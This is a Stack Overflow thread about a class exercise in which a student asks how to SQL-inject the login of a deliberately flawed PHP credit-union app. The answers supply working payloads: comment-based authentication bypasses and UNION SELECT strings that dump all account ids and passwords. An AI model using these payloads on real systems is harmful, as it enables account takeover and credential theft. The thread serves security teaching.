質問

this is part of an assignment for my computer security class, so I'm not looking for specific answers, just some help.

We were given a faulty program (in php) that controls a sql database (a bank account) and we have to find a way to create a SQL injection attack that will let us log into an account without knowing it's ID ahead of time.

I'm pretty sure I know where the vulnerability is, but I can't quite seem to get my attacks to work.

The code in question (it's kinda long, but the only part that matters is in the first part):

<html><head><title>FrobozzCo Community Credit Union</title></head>
<body>
<h1>FrobozzCo Community Credit Union</h1>
<h4><i>We're working for GUE</i></h4>
<hr>
<?php

$debugmode = 1;
function debug($msg) {

    global $debugmode;

    if ($debugmode) {
        echo "<h4>$msg</h4>\n";
    }
}

$thispage = 'FCCU.php';
echo "<form action='$thispage' method='post' name='theform'>\n";
$dbuser = 'fccu';
$dbpass = 'fccubucks';
$dbhost = 'localhost';
$dbname = $dbuser;

$PARAM = array_merge($_GET, $_POST);

// get username and password from form
if (!$PARAM['id'] || !$PARAM['password']) {
    login();
} else { // otherwise, attempt to authenticate
    $id = $PARAM['id'];
    $password = $PARAM['password'];

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";
    debug($query);
    $result = mysql_query($query) or die(mysql_error());
    $row = mysql_fetch_array($result); // there should be only one row

    if (!$row) { // auth failure
        echo "<p><b>Your ID number and password you entered do not match.</b></p>";
        echo "<p>Please try again.</p>";
        login();
    } else { // this user is authenticated!

        // store authentication information in this form
        echo "<input type=\"hidden\" name=\"id\" value=\"$id\" />\n";
        echo "<input type=\"hidden\" name=\"password\" value=\"$password\" />\n";

        banner($row);

        // perform any requested actions (wire, transfer, withdraw)
        if ($PARAM['action'] == 'Transfer Money') {
            transfer_funds($id, 
                       $password,
                           $PARAM['transfer_to'], 
                       $PARAM['transfer_amount']);
        } elseif ($PARAM['action'] == 'Wire Money') {
            wire_funds($id,
                        $password,
                            $PARAM['routing'],
                        $PARAM['wire_acct'],
                        $PARAM['wire_amount']);
        } elseif ($PARAM['action'] == 'Withdraw Money') {
            withdraw_cash($id,
                          $password,
                              $PARAM['withdraw_amount']);
        }

        // normal output

        // account info
        $query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";
        $result = mysql_query($query) or die(mysql_error());
        $row = mysql_fetch_array($result); // there should be only one row
        account_info($row);

        // get current account list by name
        $query = "SELECT first, last FROM accounts ORDER BY last";
        $names = mysql_query($query) or die(mysql_error());
        account_actions($row, $names);
    }


}
echo "<hr>\n";
echo "Generated by FCCU.php at " . date("l M dS, Y, H:i:s",5678)."<br>";

function name_to_id($name) {

    global $dbhost, $dbuser, $dbpass, $dbname;
    $splitname = explode(", ", $name);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);
    $query = "SELECT id FROM accounts WHERE first = '$splitname[1]' AND last = '$splitname[0]'";
    $result = mysql_query($query) or die(mysql_error());
    $row = mysql_fetch_array($result);
    $id = $row[0];

    return $id;
}

function action_error($msg, $error) {

    echo "<table bgcolor='#ff0000' color='#ffffff' align=center border=1>
          <tr><td><center><b>ERROR!</b></center></td></tr>
          <tr><td>
                  <p align='center'>$msg</p>
                  <p align='center'>Please go back and try again or contact tech support.</p>
                  <p align='center'><i>args: $error</i></p>
              <p align='center'><input type='submit' name='clear' value='Clear Message'></p>

              </td></tr>
          </table>";
}

function withdraw_cash($id, $password, $amount) {

    global $dbhost, $dbuser, $dbpass, $dbname;

    $amount = floor($amount);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT bal FROM accounts WHERE password = '$password' AND id = $id";
    debug("126: ($password) " . $query);
    $result = mysql_query($query);

    $row = mysql_fetch_array($result);
    $giver_has = $row[0];

    if ($amount > 0 && $giver_has >= $amount) {
        $giver_has = $giver_has - $amount; // there's a problem here but it's not SQL Injection...
        pretend("withdraw cash", $amount);
        $query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $id LIMIT 1";
        mysql_query($query) or die(mysql_error());
        echo "<h2 align='center'>Cash withdrawal of $$amount complete.</h2>
              <h3 align='center'>Your cash should be ready in accounting within 45 minutes.</h3>\n";
    } else {
        action_error("Problem with cash withdrawal!",
                         "'$id', '$giver_has', '$amount'");
    }
}


function wire_funds($id, $password,  $bank, $account, $amount) {

    global $dbhost, $dbuser, $dbpass, $dbname;

    $amount = floor($amount);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT bal FROM accounts WHERE password = '$password' AND id = $id";
    debug($query);
    $result = mysql_query($query);

    $row = mysql_fetch_array($result);
    $giver_has = $row[0];

    if ($amount > 0 && $giver_has >= $amount && $bank && $account) {
        $giver_has = $giver_has - $amount; // there's a problem here but it's not SQL Injection...
        pretend("wire money", $amount, $bank, $acct);
        $query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $id LIMIT 1";
        debug($query);
        mysql_query($query) or die(mysql_error());
        echo "<h2 align='center'>Wire of $$amount to bank ($bank) account ($account) complete.</h2>\n";
    } else {
        action_error("Problem with wire fund transfer!", 
                     "'$id', '$amount', '$giver_has', '$bank', '$account'");
    }
}

function pretend() {

    return 1;
}

function transfer_funds($giver_id, $password, $recipient, $amount) {

    global $dbhost, $dbuser, $dbpass, $dbname;

    $amount = floor($amount);
    $recipient_id = name_to_id($recipient);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT bal FROM accounts WHERE id = $giver_id OR id = $recipient_id";
    debug($query);
    $result = mysql_query($query);

    $row = mysql_fetch_array($result);
    $recipient_has = $row[0];
    $row = mysql_fetch_array($result);
    $giver_has = $row[0];
    debug("$giver_has, $recipient_has");

    if ($amount > 0 && $giver_has >= $amount && $recipient_has) {
        $giver_has = $giver_has - $amount; // there's a problem here but it's not SQL Injection...
        $recipient_has = $recipient_has + $amount; // does anyone know what it is?
        $query = "UPDATE accounts SET bal = $recipient_has WHERE id = $recipient_id LIMIT 1";
        debug($query);
        mysql_query($query) or die(mysql_error());
        $query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $giver_id LIMIT 1";
        debug($query);
        mysql_query($query) or die(mysql_error());
        echo "<h2 align='center'>Transfer of $$amount to $recipient complete.</h2>\n";
    } else {
        action_error("Problem with employee fund transfer!",
                         "'$giver_id', '$recipient', '$amount', '$giver_has'");
    }
}

function account_info($row) {

    echo "<table border='1' align='center'>
          <tr><td colspan='2'><p><center><b>Account Information</b></center></p></td></tr>
          <tr><td><b>Account:</b></td><td>$row[0]</td></tr>
          <tr><td><b>Balance:</b></td><td>$$row[1]</td></tr>
          <tr><td><b>Birthdate:</b></td><td>$row[6]</td></tr>
          <tr><td><b>SSN:</b></td><td>$row[5]</td></tr>
          <tr><td><b>Phone:</b></td><td>$row[4]</td></tr>
          <tr><td><b>Email:</b></td><td>$row[7]@frobozzco.com</td></tr>
          </table>\n";
}

function account_actions($row, $names) {

    global $thispage;

    echo "<table border=1 width='600' align='center'>

          <tr><td><center><b>Account Actions</b></center></td></tr>

          <tr><td><center><b>Wire Funds</b></center></td></tr>

          <tr><td>
          <p>To wire funds: enter the amount (in whole dollars), the 
          receiving bank's <b>routing number</b> and <b>receiving account number</b>, 
          and press 'Wire Funds!'</p>
          Wire amount: $<input name=wire_amount /><br />
          Routing Number: <input name=routing /> (e.g. 091000022)<br />
          Account Number: <input name=wire_acct /> (e.g. 923884509)<br />
          <p align='center'><input type='submit' name='action' value='Wire Money'></p>
          <p />
          </td></tr>

          <tr><td><center><b>Transfer Money</b></center></td><tr>

          <tr><td><p>To transfer money to another FCCU account holder, select the 
          employee from the drop-down menu below, enter an ammount (in whole dollars)
          to transfer, and press 'Transfer Money!'</p>
          Transfer Amount: $<input name=transfer_amount /><br />
          Transfer To: ";
          // create dropdown menu with accounts
          echo "<select name='transfer_to' selected='select employee'>\n";
          echo "<option value='nobody'>select employee</option>\n";
          while ($name = mysql_fetch_array($names)) {
              echo "<option value=\"$name[1], $name[0]\">$name[1], $name[0]</option>\n";
          }
          echo "</select>\n";
          echo "<br />
          <p align='center'><input type='submit' name='action' value='Transfer Money'></p>
          <p />
          </td></tr>

          <tr><td><center><b>Withdraw Cash</b></center></td><tr>

          <tr><td><p>To withdraw cash, enter an amount (in whole dollars) and press 
          the 'Withdraw Cash!' button. The cash will be available in the accounting 
          office within 45 minutes.</p>
          Withdraw Amount: $<input name=withdraw_amount /><br />
          <p align='center'><input type='submit' name='action' value='Withdraw Money'></p>
          <p />
          </td></tr>
          </table>
          \n";

}

function banner($row) {

    global $thispage;

    $fullname = "$row[2] $row[3]";
    echo "<table width='100%'><tr><td>
    <p align='left'>Welcome, $fullname. (<a href='$thispage'>Log Out</a>)</p>
          </td><td>
          <p align='right'><i>(If you aren't $fullname, <a href='$thispage'>click here</a>.)</i></p>
          </td></tr></table>\n";
    echo "<hr>\n";


}

function login() {

    global $thispage;

    echo "<p>Enter your <b>account ID</b> and password and click \"submit.\"</p>\n";
    echo "<table>\n";
    echo "<tr><td>Account ID Number: </td><td><input name='id' cols='10' /></td></tr>\n";
    echo "<tr><td>Password (alphanumeric only): </td><td><input name='password' cols='30' /></td></tr>\n";
    echo "<tr><td><input type='submit' value='Submit' name='submit'></td><td></td></tr>\n";
    echo "</table>\n";

}

?>
</form>
<p>Done.</p>
</body>
</html>

The line:

$query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";

I've tried a couple of strings in the ID input (I'm working from my browser) such as

100 OR id=id;
0 OR 1=1;

To try and comment out the password part of the command. I'm pretty new to SQL so I think I'm just formatting this wrong.

That or I'm completely overlooking a more obvious exploit.

役に立ちましたか?

解決

You need to make sure to comment out the rest of the query, so the quotes don't trip you up and so any extra clauses are ignored.

Try setting the ID to:

0 OR id=id -- 

The --  (that's hyphen, hyphen, space: the space is important) is a comment in MySQL.

他のヒント

You being in school, I don't want to just give you the answer. :P

Given the fact that the query isn't parametrized...

Pay attention to the placement of the the apostrophes.

Keep in mind the query:

Select field
FROM table
WHERE field = '<-- Note these -->'

You are on the right track though!

LESSON

Always, always, always use parametrized queries if you can. Also PDO is a nice way to access DBs in PHP.

EXAMPLE

anything' OR 'x'='x <-- Something like this (again with the apostrophes)

Exploiting SQL injections is the art of providing values that, when incorporated into an SQL statement, result in a valid SQL statement syntax while changing the semantics intended by the developer to some that are profitable for an attacker.

Now if we look at your attempt with id being 100 OR id=id; and password something, the resulting SQL looks like this:

SELECT * FROM accounts WHERE id = 100 OR id=id; AND password = 'something'

Now you there are two problems with this:

  1. mysql_query does only support the execution of one statement and throws an error if there is more that one statement.
  2. Even if multiple statements were supported, the return value would be the result of the second statement, which, obviously, is invalid.

So to fix this, the easiest way is to inject a comment, its syntax is # or --  (note the trailing space) for comments until the line end. So you could use one of the following for id:

100 OR id=id #
100 OR id=id -- 

Or you inject an independent OR clause without any comments like this:

100 OR id=id OR id

This would result in:

SELECT * FROM accounts WHERE id = 100 OR id=id OR id AND password = 'something'

Here the id=id is true for each row.

The accepted answer covers things.

However I notice that in the original question one point was to 'let us log into an account without knowing it's ID ahead of time'.

Assuming you know the name in advance (but not the id) then you could set id to something like the following

0 OR (first='joe' AND last='bloggs') -- 

I would also be inclined to set password to something like:-

' OR (first='joe' AND last='bloggs') -- 

This way the queries that check password before userid (eg, the balance check) could be made to work as well

For your amusement something else that might be fun to try. Set id to something like this:-

0 UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') -- 

and password to something like this:-

' UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') -- 

This should then put out the actual password in the account_info function (you might need to add ",password" a few more times, just so the column count matches the number of columns in the accounts table).

Or if you want all the ids:-

0 UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts -- 

and passwords:-

' UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts -- 

Something like this should give you all the ids and passwords in the system (subject to the max length limit on GROUP_CONCAT). So you could then log on with whichever id and password you wanted to easily afterwards.

I copied your script and knocked up a test table and the above worked.

Basically, you can attack this using GET or POST. The GET method is a lot easier, just create a URL parameter called id with your desired SQL to inject.

http://www.somesite.com/FCCU.php?id=id -- 

You may have to URI encode it, just try unencoded first. The server will then run the query:

SELECT * FROM accounts WHERE id = id -- AND password = '$password'

Because the password condition is commented out and WHERE id = id is equivalent to WHERE TRUE , will end up working the same way as:

SELECT * FROM accounts

The return value of that query is then stored in a variable, which has all of the account information of everyone in the site's database. Since they are passing that variable to their debug function, you just have to turn on debug mode and you should see everyone's confidential login and password information.

it's not nice to hack but:

SELECT * FROM accounts WHERE id = $id AND password = '$password'"

in a id field tipe

1 --
2 --

or

1-- // without space
2--

like this you will be able to log in as every user

You can enter this as id (example for account with id 123):

123 OR 1=2

The trick is that the second part evaluates to FALSE and so you only have the id=123 as result. Using a true condition would lead to all rows, so you would probably get id=1 if the table is sorted.

The next step is to check the resulting page, and look in the hidden password field. You will then be able to send more queries with the correct id and password.

ライセンス: CC-BY-SA帰属
所属していません StackOverflow
scroll top